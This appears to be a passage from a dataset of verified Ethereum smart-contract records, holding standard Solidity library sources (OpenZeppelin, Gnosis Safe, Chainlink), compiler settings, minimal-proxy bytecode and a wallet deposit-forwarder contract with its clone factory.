"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n */\n bool private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Modifier to protect an initializer function from being invoked twice.\n */\n modifier initializer() {\n require(_initializing || !_initialized, \"Initializable: contract is already initialized\");\n\n bool isTopLevelCall = !_initializing;\n if (isTopLevelCall) {\n _initializing = true;\n _initialized = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n }\n }\n}\n"
},
"@gnosis.pm/safe-contracts/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.7.0 <0.9.0;\n\n/// @notice More details at https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@gnosis.pm/zodiac/contracts/guard/BaseGuard.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"@gnosis.pm/safe-contracts/contracts/common/Enum.sol\";\nimport \"@gnosis.pm/safe-contracts/contracts/interfaces/IERC165.sol\";\nimport \"../interfaces/IGuard.sol\";\n\nabstract contract BaseGuard is IERC165 {\n function supportsInterface(bytes4 interfaceId)\n external\n pure\n override\n returns (bool)\n {\n return\n interfaceId == type(IGuard).interfaceId || // 0xe6d7a83a\n interfaceId == type(IERC165).interfaceId; // 0x01ffc9a7\n }\n\n /// Module transactions only use the first four parameters: to, value, data, and operation.\n /// Module.sol hardcodes the remaining parameters as 0 since they are not used for module transactions.\n /// This interface is used to maintain compatibilty with Gnosis Safe transaction guards.\n function checkTransaction(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation,\n uint256 safeTxGas,\n uint256 baseGas,\n uint256 gasPrice,\n address gasToken,\n address payable refundReceiver,\n bytes memory signatures,\n address msgSender\n ) external virtual;\n\n function checkAfterExecution(bytes32 txHash, bool success) external virtual;\n}\n"
},
"@gnosis.pm/zodiac/contracts/interfaces/IGuard.sol": {
"content": "// SPDX-License-Identifier: LGPL-3.0-only\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"@gnosis.pm/safe-contracts/contracts/common/Enum.sol\";\n\ninterface IGuard {\n function checkTransaction(\n address to,\n uint256 value,\n bytes memory data,\n Enum.Operation operation,\n uint256 safeTxGas,\n uint256 baseGas,\n uint256 gasPrice,\n address gasToken,\n address payable refundReceiver,\n bytes memory signatures,\n address msgSender\n ) external;\n\n function checkAfterExecution(bytes32 txHash, bool success) external;\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
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"evm.deployedBytecode",
"devdoc",
"userdoc",
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"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {}
}
}}
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ffa397285ce46fb78c588a9e993286aac68c37cd
|
a593e2944679b21ff13875f4c9d9f221dd025441
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,503,048 |
0017f74a6efa34ad21eea61204fdebe2085f178a8544f6adfafc74e691f2d887
|
48db1d127151a08a7f5f030a0b644794cc20be7b98d8db5abe250bd29fcb509e
|
f2d98377d80dadf725bfb97e91357f1d81384de2
|
90eb22a31b69c29c34162e0e9278cc0617aa2b50
|
a086606b764c5d2f37293878f4045e43135b98d6
|
3d602d80600a3d3981f3363d3d373d3d3d363d734edeb80ce684a890dd58ae0d9762c38731b11b995af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d734edeb80ce684a890dd58ae0d9762c38731b11b995af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(uint80 _roundId)\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n"
},
"@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControlUpgradeable {\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) external;\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20PermitUpgradeable {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20Upgradeable {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not 